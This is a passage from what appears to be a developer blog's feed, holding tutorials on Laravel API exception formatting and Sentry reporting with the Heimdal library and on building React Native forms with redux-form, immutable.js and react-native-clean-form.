class="nx">Illuminate\Http\JsonResponse</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Optimus\Heimdal\Formatters\ExceptionFormatter</span><span class="p">;</span> <span class="k">class</span> <span class="nc">HttpExceptionFormatter</span> <span class="k">extends</span> <span class="nx">ExceptionFormatter</span> <span class="p">{</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">format</span><span class="p">(</span><span class="nx">JsonResponse</span> <span class="nv">$response</span><span class="p">,</span> <span class="nx">Exception</span> <span class="nv">$e</span><span class="p">,</span> <span class="k">array</span> <span class="nv">$reporterResponses</span><span class="p">)</span> <span class="p">{</span> <span class="k">parent</span><span class="o">::</span><span class="na">format</span><span class="p">(</span><span class="nv">$response</span><span class="p">,</span> <span class="nv">$e</span><span class="p">,</span> <span class="nv">$reporterResponses</span><span class="p">);</span> <span class="nv">$response</span><span class="o">-&gt;</span><span class="na">setStatusCode</span><span class="p">(</span><span class="nv">$e</span><span class="o">-&gt;</span><span class="na">getStatusCode</span><span class="p">());</span> <span class="p">}</span> <span class="p">}</span> </code></pre> </div> <p> Aha, so the base <code>HttpExceptionFormatter</code> is just adding the HTTP status code to the response but is otherwise exactly the same as <code>ExceptionFormatter</code>. Awesomesauce. </p> <p> Let us try to add our own formatter. According to the HTTP specification a <code>401</code> response should include a challenge in the <code>WWW-Authenticate</code> header. This is currently not added by the Heimdal library (it will after this article), so let us create the formatter. </p> <div class="highlighter-rouge"><pre class="highlight"><code>&lt;?php namespace Infrastructure\Exceptions; use Exception; use Illuminate\Http\JsonResponse; use Optimus\Heimdal\Formatters\HttpExceptionFormatter; class UnauthorizedHttpExceptionFormatter extends HttpExceptionFormatter { public function format(JsonResponse $response, Exception $e, array $reporterResponses) { parent::format($response, $e, $reporterResponses); $response-&gt;headers-&gt;set('WWW-Authenticate', $e-&gt;getHeaders()['WWW-Authenticate']); return $response; } } </code></pre> </div> <p> Symfony's <code>HttpException</code> contains an header array that contains an <code>WWW-Authenticate</code> entry for all <code>UnauthorizedHttpException</code>. Next, we add the formatter to <code>config/optimus.heimdal.php</code>. </p> <div class="highlighter-rouge"><pre class="highlight"><code>'formatters' =&gt; [ SymfonyException\UnprocessableEntityHttpException::class =&gt; Formatters\UnprocessableEntityHttpExceptionFormatter::class, SymfonyException\UnauthorizedHttpException::class =&gt; Infrastructure\Exceptions\UnauthorizedHttpExceptionFormatter::class, SymfonyException\HttpException::class =&gt; Formatters\HttpExceptionFormatter::class, Exception::class =&gt; Formatters\ExceptionFormatter::class, ], </code></pre> </div> <p> The important thing here is that the added entry is higher than <code>HttpException</code> so that it has precedence. Now when we throw an <code>UnauthorizedHttpException</code> in our code like this <code>throw new UnauthorizedHttpException("challenge");</code> we get a response like below. </p> <div class="highlighter-rouge"><pre class="highlight"><code>HTTP/1.0 401 Unauthorized Content-Type: application/json WWW-Authenticate: challenge {"status":"error","code":0,"message":"","exception":"Symfony\Component\HttpKernel\Exception\UnauthorizedHttpException in [stack trace]","line":4,"file":"[file]"} </code></pre> </div> <p> We can also add formatters for custom exceptions. Even though <code>418 I'm a teapot</code> is a valid exception to throw when <a target="_blank" href="https://httpstatuses.com/418">attempting to brew coffee with a teapot</a> it currently has no implementation in the Symfony HttpKernel. So let us add it. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="k">namespace</span> <span class="nx">Infrastructure\Exceptions</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Symfony\Component\HttpKernel\Exception\HttpException</span><span class="p">;</span> <span class="k">class</span> <span class="nc">ImATeapotHttpException</span> <span class="k">extends</span> <span class="nx">HttpException</span> <span class="p">{</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">__construct</span><span class="p">(</span><span class="nx">\Exception</span> <span class="nv">$previous</span> <span class="o">=</span> <span class="kc">null</span><span class="p">,</span> <span class="nv">$code</span> <span class="o">=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="k">parent</span><span class="o">::</span><span class="na">__construct</span><span class="p">(</span><span class="mi">418</span><span class="p">,</span> <span class="s1">'I\'m a teapot'</span><span class="p">,</span> <span class="nv">$previous</span><span class="p">,</span> <span class="p">[],</span> <span class="nv">$code</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> </code></pre> </div> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="k">namespace</span> <span class="nx">Infrastructure\Exceptions</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Exception</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Illuminate\Http\JsonResponse</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Optimus\Heimdal\Formatters\HttpExceptionFormatter</span><span class="p">;</span> <span class="k">class</span> <span class="nc">ImATeapotHttpExceptionFormatter</span> <span class="k">extends</span> <span class="nx">HttpExceptionFormatter</span> <span class="p">{</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">format</span><span class="p">(</span><span class="nx">JsonResponse</span> <span class="nv">$response</span><span class="p">,</span> <span class="nx">Exception</span> <span class="nv">$e</span><span class="p">,</span> <span class="k">array</span> <span class="nv">$reporterResponses</span><span class="p">)</span> <span class="p">{</span> <span class="k">parent</span><span class="o">::</span><span class="na">format</span><span class="p">(</span><span class="nv">$response</span><span class="p">,</span> <span class="nv">$e</span><span class="p">,</span> <span class="nv">$reporterResponses</span><span class="p">);</span> <span class="nv">$response</span><span class="o">-&gt;</span><span class="na">setData</span><span class="p">([</span> <span class="s1">'coffe_brewer'</span> <span class="o">=&gt;</span> <span class="s1">'http://ghk.h-cdn.co/assets/cm/15/11/320x320/55009368877e1-ghk-hamilton-beach-5-cup-coffeemaker-48136-s2.jpg'</span><span class="p">,</span> <span class="s1">'teapot'</span> <span class="o">=&gt;</span> <span class="s1">'http://www.ikea.com/PIAimages/0282097_PE420125_S5.JPG'</span> <span class="p">]);</span> <span class="k">return</span> <span class="nv">$response</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> </code></pre> </div> <div class="highlighter-rouge"><pre class="highlight"><code>'formatters' =&gt; [ SymfonyException\UnprocessableEntityHttpException::class =&gt; Formatters\UnprocessableEntityHttpExceptionFormatter::class, SymfonyException\UnauthorizedHttpException::class =&gt; Infrastructure\Exceptions\UnauthorizedHttpExceptionFormatter::class, Infrastructure\Exceptions\ImATeapotHttpException::class =&gt; Infrastructure\Exceptions\ImATeapotHttpExceptionFormatter::class, SymfonyException\HttpException::class =&gt; Formatters\HttpExceptionFormatter::class, Exception::class =&gt; Formatters\ExceptionFormatter::class, ], </code></pre> </div> <p> Now we throw the exception <code>throw new ImATeapotHttpException();</code> we send images of coffee brewers and teapots to the consumer so they can learn the difference :-) </p> <div class="highlighter-rouge"><pre class="highlight"><code>HTTP/1.0 401 I'm a teapot Content-Type: application/json {"coffe_brewer":"http:\/\/ghk.h-cdn.co\/assets\/cm\/15\/11\/320x320\/55009368877e1-ghk-hamilton-beach-5-cup-coffeemaker-48136-s2.jpg","teapot":"http:\/\/www.ikea.com\/PIAimages\/0282097_PE420125_S5.JPG"} </code></pre> </div> <h2 id="send-exceptions-to-external-tracker-using-reporters">Send exceptions to external tracker using reporters</h2> <p> More often than not you want to send your exceptions to an external tracker service for better overview, handling etc. There are a lot of these but Heimdal has out of the box support for both <a target="_blank" href="https://getsentry.com">Sentry</a> and <a target="_blank" href="https://bugsnag.com">Bugsnag</a>. The remainder of this article will show you how to integrate your exception handler with Sentry. For more information on reporters you can always refer to the <a target="_blank" href="https://github.com/esbenp/heimdal">documentation</a>. </p> <p> To add Sentry integration add the reporter to <code>config/optimus.heimdal.php</code>. </p> <div class="highlighter-rouge"><pre class="highlight"><code>'reporters' =&gt; [ 'sentry' =&gt; [ 'class' =&gt; \Optimus\Heimdal\Reporters\SentryReporter::class, 'config' =&gt; [ 'dsn' =&gt; '[insert your DSN here]', // For extra options see https://docs.sentry.io/clients/php/config/ // php version and environment are automatically added. 'sentry_options' =&gt; [] ] ] ], </code></pre> </div> <p> That is it! Remember to fill out <code>dsn</code>. Now when an exception is thrown we can see it in our Sentry UI. </p> <p><img src="/img/laravel-api-part-3/sentry.png" /></p> <p> Pretty dope. But there is more. In Heimdal all reporters responses are added to an array which is the passed to all formatters. Sentry will return a unique ID for all exceptions logged. For instance, it may be that you want to display the specific exception ID to the user so they can hand it over to the technical support. Finding the error that an user claims have happened has never been easier. Let us see how it works. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="k">namespace</span> <span class="nx">Infrastructure\Exceptions</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Exception</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Illuminate\Http\JsonResponse</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Optimus\Heimdal\Formatters\ExceptionFormatter</span> <span class="k">as</span> <span class="nx">BaseExceptionFormatter</span><span class="p">;</span> <span class="k">class</span> <span class="nc">ExceptionFormatter</span> <span class="k">extends</span> <span class="nx">BaseExceptionFormatter</span> <span class="p">{</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">format</span><span class="p">(</span><span class="nx">JsonResponse</span> <span class="nv">$response</span><span class="p">,</span> <span class="nx">Exception</span> <span class="nv">$e</span><span class="p">,</span> <span class="k">array</span> <span class="nv">$reporterResponses</span><span class="p">)</span> <span class="p">{</span> <span class="k">parent</span><span class="o">::</span><span class="na">format</span><span class="p">(</span><span class="nv">$response</span><span class="p">,</span> <span class="nv">$e</span><span class="p">,</span> <span class="nv">$reporterResponses</span><span class="p">);</span> <span class="nv">$response</span><span class="o">-&gt;</span><span class="na">setData</span><span class="p">(</span><span class="nb">array_merge</span><span class="p">(</span> <span class="p">(</span><span class="k">array</span><span class="p">)</span> <span class="nv">$response</span><span class="o">-&gt;</span><span class="na">getData</span><span class="p">(),</span> <span class="p">[</span><span class="s1">'sentry_id'</span> <span class="o">=&gt;</span> <span class="nv">$reporterResponses</span><span class="p">[</span><span class="s1">'sentry'</span><span class="p">]]</span> <span class="p">));</span> <span class="k">return</span> <span class="nv">$response</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> </code></pre> </div> <p> Alright, so basically what we are trying to achieve is to create a new internal server error formatter, since we probably only want to log internal server errors to Sentry. The ID of the exception in Sentry can be found in the reporter responses array, so we just extend the base exception formatter to include this ID. Now our exceptions look like so. </p> <div class="highlighter-rouge"><pre class="highlight"><code>HTTP/1.0 500 Internal server error Content-Type: application/json {"status":"error","code":0,"message":"Annoying error logged in Sentry.","exception":"Exception: Annoying error logged in Sentry. in [stack trace]","line":37,"file":"[file]","sentry_id":"e8987d63dba549a69c58b49feb2692f9"} </code></pre> </div> <p> And we can find the exception by searching for the ID in Sentry. </p> <p><img src="/img/laravel-api-part-3/sentry_search.png" /></p> <p> If you want, it is really easy to add new reporters to Heimdal. Look at the code below to see just how simple the Sentry reporter implementation is. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="k">namespace</span> <span class="nx">Optimus\Heimdal\Reporters</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Exception</span><span class="p">;</span> <span class="k">use</span> <span class="nx">InvalidArgumentException</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Raven_Client</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Optimus\Heimdal\Reporters\ReporterInterface</span><span class="p">;</span> <span class="k">class</span> <span class="nc">SentryReporter</span> <span class="k">implements</span> <span class="nx">ReporterInterface</span> <span class="p">{</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">__construct</span><span class="p">(</span><span class="k">array</span> <span class="nv">$config</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">class_exists</span><span class="p">(</span><span class="nx">Raven_Client</span><span class="o">::</span><span class="na">class</span><span class="p">))</span> <span class="p">{</span> <span class="k">throw</span> <span class="k">new</span> <span class="nx">InvalidArgumentException</span><span class="p">(</span><span class="s2">"Sentry client is not installed. Use composer require sentry/sentry."</span><span class="p">);</span> <span class="p">}</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">raven</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Raven_Client</span><span class="p">(</span><span class="nv">$config</span><span class="p">[</span><span class="s1">'dsn'</span><span class="p">],</span> <span class="nv">$config</span><span class="p">[</span><span class="s1">'sentry_options'</span><span class="p">]);</span> <span class="p">}</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">report</span><span class="p">(</span><span class="nx">Exception</span> <span class="nv">$e</span><span class="p">)</span> <span class="p">{</span> <span class="k">return</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">raven</span><span class="o">-&gt;</span><span class="na">captureException</span><span class="p">(</span><span class="nv">$e</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> </code></pre> </div> <p class="note"> The current Sentry implementation is larger because it adds some options straight out of the box. However, the above would be a perfectly valid integration. </p> <h2 id="conclusion">Conclusion</h2> <p> By installing <a href="https://github.com/esbenp/heimdal">Heimdal</a> we very quickly get a good error handling system for our API. The important thing is that we provide enough information for our client so it can determine a corresponding action. </p> <p> The full code to this article can be found here: <a href="https://github.com/esbenp/larapi-part-3">larapi-part-3</a> </p> <p> All of these ideas and libraries are new and underdeveloped. Are you interested in helping out? Reach out on <a href="mailto:esbenspetersen@gmail.com">e-mail</a>, <a href="https://twitter.com/esbenp">twitter</a> or <a href="https://github.com/esbenp/larapi/issues">the Larapi repository</a> </p> Sat, 14 Jan 2017 07:19:00 +0100 http://esbenp.github.io/2017/01/14/modern-rest-api-laravel-part-3/ http://esbenp.github.io/2017/01/14/modern-rest-api-laravel-part-3/ Simple React Native forms with redux-form, immutable.js and styled-components <h2 id="tldr">tl;dr</h2> <p> If you just want to see how you can use redux-form and immutable.js in react native, you can find <a target="_blank" href="https://github.com/esbenp/react-native-redux-form-example"> the code for this article can be found right here</a>. </p> <h2 id="introduction">Introduction</h2> <p> At <a href="https://traede.com" target="_blank">Traede</a> we use <a target="_blank" href="https://github.com/erikras/redux-form">redux-form</a> for creating forms that integrate well with <a target="_blank" href="https://github.com/reactjs/redux">redux</a>. It is a fine library, however there are not many examples on how to make it work with <a target="_blank" href="https://facebook.github.io/react-native/">React Native</a>. So when I started playing around with React Native naturally I used redux-form for my form management and found it to be a bit difficult. Mostly because <a href="https://github.com/erikras/redux-form/pull/2336">I found a bug</a> that broke redux-form on native platform when using <a target="_blank" href="https://github.com/facebook/immutable-js">immutable.js</a>. My PR has been released as of version 6.4.2. So I thought I would write a bit of documentation on how to use redux-form and immutable.js for form management based on my learnings along the way. </p> <h2 id="agenda">Agenda</h2> <p> The steps we will go through is... </p> <ol> <li>See how redux-form differs on native vs. web in the most simple way</li> <li>See how we can make it work using immutable.js</li> <li>A more complete example using react-native-clean-form elements</li> </ol> <p> Excited? Lets go..! </p> <h2 id="using-redux-form-with-react-native">Using redux-form with React Native</h2> <p> If you are unfamiliar with redux-form I suggest you <a target="_blank" href="http://redux-form.com/6.4.3/docs/GettingStarted.md/">go read the Get Started documentation</a>. <strong>Note this guide assumes that you are using redux-form version <code>&gt;=6.4.2</code></strong>. Otherwise, if you are using Immutable.js you are going to have issues with <a target="_blank" href="https://github.com/erikras/redux-form/pull/2336">redux-form#2336</a>. To create a form there are basically three steps: </p> <ol> <li>Add the redux-form reducer to your redux store</li> <li>Connect your form to the store using the <code>reduxForm</code> wrapper</li> <li>Connect specific fields to the store using the <code>Field</code> wrapper</li> </ol> <h3 id="0-create-a-react-native-project">0. Create a React Native project</h3> <p> I am assuming you already have a React Native project ready to go. If not you can easily create one using <code>react-native init MyReduxFormProject</code>. </p> <h3 id="1-add-the-redux-form-reducer-to-your-redux-store">1. Add the redux-form reducer to your redux store</h3> <p> For this step, please <a target="_blank" href="http://redux-form.com/6.4.3/docs/GettingStarted.md/">consult the redux-form documentation</a>. </p> <h3 id="2-connect-your-form-to-the-store-using-the-redux-form-wrapper">2. Connect your form to the store using the redux-form wrapper</h3> <p><img align="right" style="margin-left:20px" src="/img/react-native-redux-form/simple-form.jpg" /></p> <p> Okay, so let us start out with the simplest of forms and then connect that to redux-form. So, the code below will generate the screen on the right. </p> <div class="highlighter-rouge"><pre class="highlight"><code>import React from 'react' import { StyleSheet, Text, TextInput, TouchableOpacity, View } from 'react-native' const Form = props =&gt; { return ( &lt;View style={styles.container}&gt; &lt;Text&gt;Email:&lt;/Text&gt; &lt;TextInput style={styles.input} /&gt; &lt;TouchableOpacity&gt; &lt;Text style={styles.button}&gt;Submit&lt;/Text&gt; &lt;/TouchableOpacity&gt; &lt;/View&gt; ) } export default Form const styles = StyleSheet.create({ button: { backgroundColor: 'blue', color: 'white', height: 30, lineHeight: 30, marginTop: 10, textAlign: 'center', width: 250 }, container: { }, input: { borderColor: 'black', borderWidth: 1, height: 37, width: 250 } }) </code></pre> </div> <p> Alright, so we have our form and it already looks like a billion dollar app (unicorn alert). Next, we need to connect the form to the redux store using the <code>reduxForm</code> wrapper. This is because every key press in the form will send the value of the input field to store in the form. When we press the submit button redux-form will extract all the saved values from the store to a callback function we specify. </p> <div class="highlighter-rouge"><pre class="highlight"><code>import { reduxForm } from 'redux-form' const submit = values =&gt; { console.log('submitting form', values) } const Form = props =&gt; { const { handleSubmit } = props return ( &lt;View style={styles.container}&gt; &lt;Text&gt;Email:&lt;/Text&gt; &lt;TextInput style={styles.input} /&gt; &lt;TouchableOpacity onPress={handleSubmit(submit)}&gt; &lt;Text style={styles.button}&gt;Submit&lt;/Text&gt; &lt;/TouchableOpacity&gt; &lt;/View&gt; ) } export default reduxForm({ form: 'test' })(Form) </code></pre> </div> <p class="note"> NOTE: I left out the stylesheet declaration and the react-native imports for brevity. </p> <p> Okay, so first of all we wrapped the form to connect it to the store using <code>reduxForm</code>. This is basically a modified version of react-redux's <code>connect</code> you are probably familiar with. </p> <p> Next, we create our submit function using redux-form's <code>handleSubmit</code> (which <code>reduxForm</code> injects into our component). The submit function is attached to our submit button so when it is pressed the form is submitted. This is different from web development where the submit function is attached to a <code>form</code> element. On mobile platforms there is no form element so we attach it directly to the button. Or <code>TouchableOpacity</code> that is... </p> <p> At this point try and run the code using a simulator. I also highly recommend using <a target="_blank" href="https://github.com/jhen0409/react-native-debugger">react-native-debugger</a> as a debugger. You can also check out the <a target="_blank" href="https://facebook.github.io/react-native/docs/debugging.html">React Native documentation on debugging</a> for suggestions. </p> <p> Either way, when you try and submit the form in the simulator you will see that our callback function provides empty values. </p> <p><img src="/img/react-native-redux-form/submit-console-1.jpg" /></p> <p class="note"> Yo, where my values? </p> <h3 id="3-connect-the-form-fields-to-the-store-using-the-field-wrapper">3. Connect the form fields to the store using the Field wrapper</h3> <p> So the way redux-form works is that you have to connect each field to the store using another wrapper named <code>Field</code>. </p> <div class="highlighter-rouge"><pre class="highlight"><code>import { Field, reduxForm } from 'redux-form' const submit = values =&gt; { console.log('submitting form', values) } const renderInput = ({ input: { onChange, ...restInput }}) =&gt; { return &lt;TextInput style={styles.input} onChangeText={onChange} {...restInput} /&gt; } const Form = props =&gt; { const { handleSubmit } = props return ( &lt;View style={styles.container}&gt; &lt;Text&gt;Email:&lt;/Text&gt; &lt;Field name="email" component={renderInput} /&gt; &lt;TouchableOpacity onPress={handleSubmit(submit)}&gt; &lt;Text style={styles.button}&gt;Submit&lt;/Text&gt; &lt;/TouchableOpacity&gt; &lt;/View&gt; ) } export default reduxForm({ form: 'test' })(Form) </code></pre> </div> <p> Note we add the <code>Field</code> component and give it a <code>name</code> prop, much similar to how the <code>input</code> field works in web development. We also add a render function that tells reduxForm how the field should be rendered (which is basically just a <code>TextInput</code>). </p> <p> Now, this is where it gets tricky and what most people get wrong. <strong>So pay close attention</strong>. In web React an <code>input</code> component triggers an <code>onChange</code> callback when the value of the field changes. In React Native the <code>TextInput</code> callback is named <code>onChangeText</code>. To account for this we add the change handler manually <code>onChangeText={onChange}</code>. </p> <p><img src="/img/react-native-redux-form/submit-console-2.jpg" /></p> <p> Now when we submit our form it works! Awesomesauce. </p> <h2 id="making-it-work-using-immutablejs">Making it work using Immutable.js</h2> <p> If you are trendy and using Immutable.js for your state management then you need to take some extra steps to make redux-form work. I suggest you read <a target="_blank" href="http://redux-form.com/6.4.3/examples/immutable/">the official documentation on using Immutable.js with redux-form</a>. But we will also go through the steps right here. </p> <h3 id="1-use-redux-immutablejs-combinereducers-and-the-immutable-version-of-redux-forms-reducer">1. Use redux-immutablejs combineReducers and the immutable version of redux-forms reducer</h3> <p> Quite the mouthful. Alright, find the place where you create your redux store. </p> <div class="highlighter-rouge"><pre class="highlight"><code>import { combineReducers } from 'redux-immutablejs' import { reducer as form } from 'redux-form/immutable' // &lt;--- immutable import const reducer = combineReducers({ form }) export default reducer </code></pre> </div> <p> Two things here: (1) you must use <code>combineReducers</code> from a redux-immutable integration library such as <a target="_blank" href="https://github.com/indexiatech/redux-immutablejs">redux-immutablejs</a> or <a target="_blank" href="https://github.com/gajus/redux-immutable">redux-immutable</a>. The important thing here is that you <strong>import the reducer from <code>redux-form/immutable</code> and <u>NOT</u> <code>redux-form</code></strong>. </p> <h3 id="2-use-immutable-version-of-reduxform-wrapper-and-field">2. Use immutable version of reduxForm wrapper and Field</h3> <p> Okay, so this step is similar to the first one. When you wrap a form in <code>reduxForm</code> to connect it to the redux store make <strong>sure you import from <code>redux-form/immutable</code></strong>! Similarly, <code>Field</code> must also be imported from there! </p> <div class="highlighter-rouge"><pre class="highlight"><code>import { Field, reduxForm } from 'redux-form/immutable' // &lt;---- LOOK HERE const submit = values =&gt; { console.log('submitting form', values.toJS()) &lt;--- use toJS() to cast to plain object } const renderInput = ({ input: { onChange, ...restInput }}) =&gt; { return &lt;TextInput style={styles.input} onChangeText={onChange} {...restInput} /&gt; } const Form = props =&gt; { const { handleSubmit } = props return ( &lt;View style={styles.container}&gt; &lt;Text&gt;Email:&lt;/Text&gt; &lt;Field name="email" component={renderInput} /&gt; &lt;TouchableOpacity onPress={handleSubmit(submit)}&gt; &lt;Text style={styles.button}&gt;Submit&lt;/Text&gt; &lt;/TouchableOpacity&gt; &lt;/View&gt; ) } export default reduxForm({ form: 'test' })(Form) </code></pre> </div> <h3 id="3-done">3. Done!</h3> <p> That is it! Easy no? If you use a redux-version between <code>6.0.3</code> and <code>6.4.2</code> it will <strong>NOT WORK</strong> due to a regression introduced in <code>6.0.3</code>. </p> <h2 id="make-it-look-like-a-billion-dollar-form-using-styled-components">Make it look like a billion dollar form using styled-components</h2> <p> Using the absolutely awesome React styling library <a target="_blank" href="https://github.com/styled-components/styled-components">styled-components</a> I have created some redux-form integrated form elements that look a little bit better than our current iteration. <a target="_blank" href="https://dribbble.com/shots/3151351-Checkout-form"> The look is strongly inspired by this Dribble shot by Artyom Khamitov</a> so all credit goes to him! You can find the source code for the elements here: <a target="_blank" href="https://github.com/esbenp/react-native-clean-form">esbenp/react-native-clean-form</a>. </p> <h3 id="1st-step-install-react-native-clean-form">1st step: Install react-native-clean-form</h3> <p> Install the form elements using <code>npm install --save react-native-clean-form</code>. You also need to link the vector icon fonts to your app. <a target="_blank" href="https://github.com/esbenp/react-native-clean-form#installation"> Read more about how in the README</a>. </p> <h3 id="2nd-step-design-an-awesome-form">2nd step: Design an awesome form</h3> <p><img src="/img/react-native-redux-form/react-native-clean-form.jpg" /></p> <p> Looks dope, does it not? Lets dive right into the code. </p> <div class="highlighter-rouge"><pre class="highlight"><code>import React, { Component } from 'react' import { ActionsContainer, Button, FieldsContainer, Fieldset, Form, FormGroup, Label, Input, Select, Switch } from 'react-native-clean-form' const countryOptions = [ {label: 'Denmark', value: 'DK'}, {label: 'Germany', value: 'DE'}, {label: 'United State', value: 'US'} ] const FormView = props =&gt; ( &lt;Form&gt; &lt;FieldsContainer&gt; &lt;Fieldset label="Contact details"&gt; &lt;FormGroup&gt; &lt;Label&gt;First name&lt;/Label&gt; &lt;Input placeholder="John" /&gt; &lt;/FormGroup&gt; &lt;FormGroup&gt; &lt;Label&gt;Last name&lt;/Label&gt; &lt;Input placeholder="Doe" /&gt; &lt;/FormGroup&gt; &lt;FormGroup&gt; &lt;Label&gt;Phone&lt;/Label&gt; &lt;Input placeholder="+45 88 88 88 88" /&gt; &lt;/FormGroup&gt; &lt;FormGroup&gt; &lt;Label&gt;First name&lt;/Label&gt; &lt;Input placeholder="John" /&gt; &lt;/FormGroup&gt; &lt;/Fieldset&gt; &lt;Fieldset label="Shipping details" last&gt; &lt;FormGroup&gt; &lt;Label&gt;Address&lt;/Label&gt; &lt;Input placeholder="Hejrevej 33" /&gt; &lt;/FormGroup&gt; &lt;FormGroup&gt; &lt;Label&gt;City&lt;/Label&gt; &lt;Input placeholder="Copenhagen" /&gt; &lt;/FormGroup&gt; &lt;FormGroup&gt; &lt;Label&gt;ZIP Code&lt;/Label&gt; &lt;Input placeholder="2400" /&gt; &lt;/FormGroup&gt; &lt;FormGroup&gt; &lt;Label&gt;Country&lt;/Label&gt; &lt;Select name="country" label="Country" options={countryOptions} placeholder="Denmark" /&gt; &lt;/FormGroup&gt; &lt;FormGroup border={false}&gt; &lt;Label&gt;Save my details&lt;/Label&gt; &lt;Switch /&gt; &lt;/FormGroup&gt; &lt;/Fieldset&gt; &lt;/FieldsContainer&gt; &lt;ActionsContainer&gt; &lt;Button icon="md-checkmark" iconPlacement="right"&gt;Save&lt;/Button&gt; &lt;/ActionsContainer&gt; &lt;/Form&gt; ) export default FormView </code></pre> </div> <p> If you are familiar with Twitter Bootstrap you can probably recognize some of the elements as react-native-clean-form strive to have a similar syntax. Alright, to connect it to redux-form we just have to import <code>Input</code>, <code>Select</code> and <code>Switch</code> from <code>react-native-clean-form/redux-form</code> or <code>react-native-clean-form/redux-form-immutable</code>. Here the elements are already wrapped in <code>FormGroup</code> and <code>Label</code> is added. Thereby we support validation feedback seen in the middle screenshot. </p> <div class="highlighter-rouge"><pre class="highlight"><code>import React, { Component } from 'react' import { reduxForm } from 'redux-form/immutable' import { ActionsContainer, Button, FieldsContainer, Fieldset, Form } from 'react-native-clean-form' import { Input, Select, Switch } from 'react-native-clean-form/redux-form-immutable' import { View,Text } from 'react-native' const onSubmit = (values, dispatch) =&gt; { return new Promise((resolve) =&gt; { setTimeout(() =&gt; { console.log(values.toJS()) resolve() }, 1500) }) } const countryOptions = [ {label: 'Denmark', value: 'DK'}, {label: 'Germany', value: 'DE'}, {label: 'United State', value: 'US'} ] class FormView extends Component { render() { const { handleSubmit, submitting } = this.props return ( &lt;Form&gt; &lt;FieldsContainer&gt; &lt;Fieldset label="Contact details"&gt; &lt;Input name="first_name" label="First name" placeholder="John" /&gt; &lt;Input name="last_name" label="Last name" placeholder="Doe" /&gt; &lt;Input name="email" label="Email" placeholder="something@domain.com" /&gt; &lt;Input name="telephone" label="Phone" placeholder="+45 88 88 88 88" /&gt; &lt;/Fieldset&gt; &lt;Fieldset label="Shipping details" last&gt; &lt;Input name="address" label="Address" placeholder="Hejrevej 33" /&gt; &lt;Input name="city" label="City" placeholder="Copenhagen" /&gt; &lt;Input name="zip" label="ZIP Code" placeholder="2400" /&gt; &lt;Select name="country" label="Country" options={countryOptions} placeholder="Denmark" /&gt; &lt;Switch label="Save my details" border={false} name="save_details" /&gt; &lt;/Fieldset&gt; &lt;/FieldsContainer&gt; &lt;ActionsContainer&gt; &lt;Button icon="md-checkmark" iconPlacement="right" onPress={handleSubmit(onSubmit)} submitting={submitting}&gt;Save&lt;/Button&gt; &lt;/ActionsContainer&gt; &lt;/Form&gt; ) } } export default reduxForm({ form: 'Form', validate: values =&gt; { const errors = {} values = values.toJS() if (!values.first_name) { errors.first_name = 'First name is required.' } if (!values.last_name) { errors.last_name = 'Last name is required.' } if (!values.email) { errors.email = 'Email is required.' } return errors } })(FormView) </code></pre> </div> <p> Easy, right?! Now we have a good looking form connected to the store with validation support and async button feedback. <a target="_blank" href="https://github.com/esbenp/react-native-clean-form">You can check out more of the features in the repository</a>. </p> <h2 id="conclusion">Conclusion</h2> <p> </p> <p> Reach out on <a href="mailto:esbenspetersen@gmail.com">e-mail</a>, <a href="https://twitter.com/esbenp">twitter</a> or <a href="https://github.com/esbenp/react-native-redux-form-example/issues">the repository for this article</a>. </p> Fri, 06 Jan 2017 04:01:00 +0100 http://esbenp.github.io/2017/01/06/react-native-redux-form-immutable-styled-components/ http://esbenp.github.io/2017/01/06/react-native-redux-form-immutable-styled-components/ A modern REST API in Laravel 5 Part 2: Resource controls <h2 id="tldr">tl;dr</h2> <p> <a href="https://github.com/esbenp/bruno">Optimus\Bruno</a> will enable you to filter, paginate, sort and eager load related resources through query string parameters. <a href="https://github.com/esbenp/architect">Optimus\Architect</a> will enable the consumer to decide how the eager loaded related resources should be structured. Lastly, <a href="https://github.com/esbenp/genie">Optimus\Genie</a> provides a quick integrated way to implement the two libraries without having to add a lot of new code. </p> <p> The full code to this article can be found here: <a href="https://github.com/esbenp/larapi-series-part-2">larapi-series-part-2</a> </p> <h2 id="introduction">Introduction</h2> <p> All to often API developers do not give much thought into how it is to work with their APIs for a consumer. This article will give some very useful tips as to how you can make it much more flexible to work with for client developers. This is going to simplify development for both you and your front-end devs. </p> <h2 id="agenda">Agenda</h2> <p> In this article I will take you through... </p> <ol> <li>How you can enable consumers to automatically eager load related resources</li> <li>How you can give consumers controls like filters, pagination and sorting</li> <li> How you can enable consumers to decide how eager loaded related resources should be returned using data composition </li> </ol> <p> Excited? Lets go..! </p> <h2 id="the-challenge">The challenge</h2> <p> If you have ever experienced developing a client that uses an API you have probably encountered the problem we will try to solve in this part of our journey for a <a href="/2016/04/11/modern-rest-api-laravel-part-0/">modern REST API in Laravel 5</a>. When developing a client you will often need different parts of the same data for different scenarios. </p> <p> 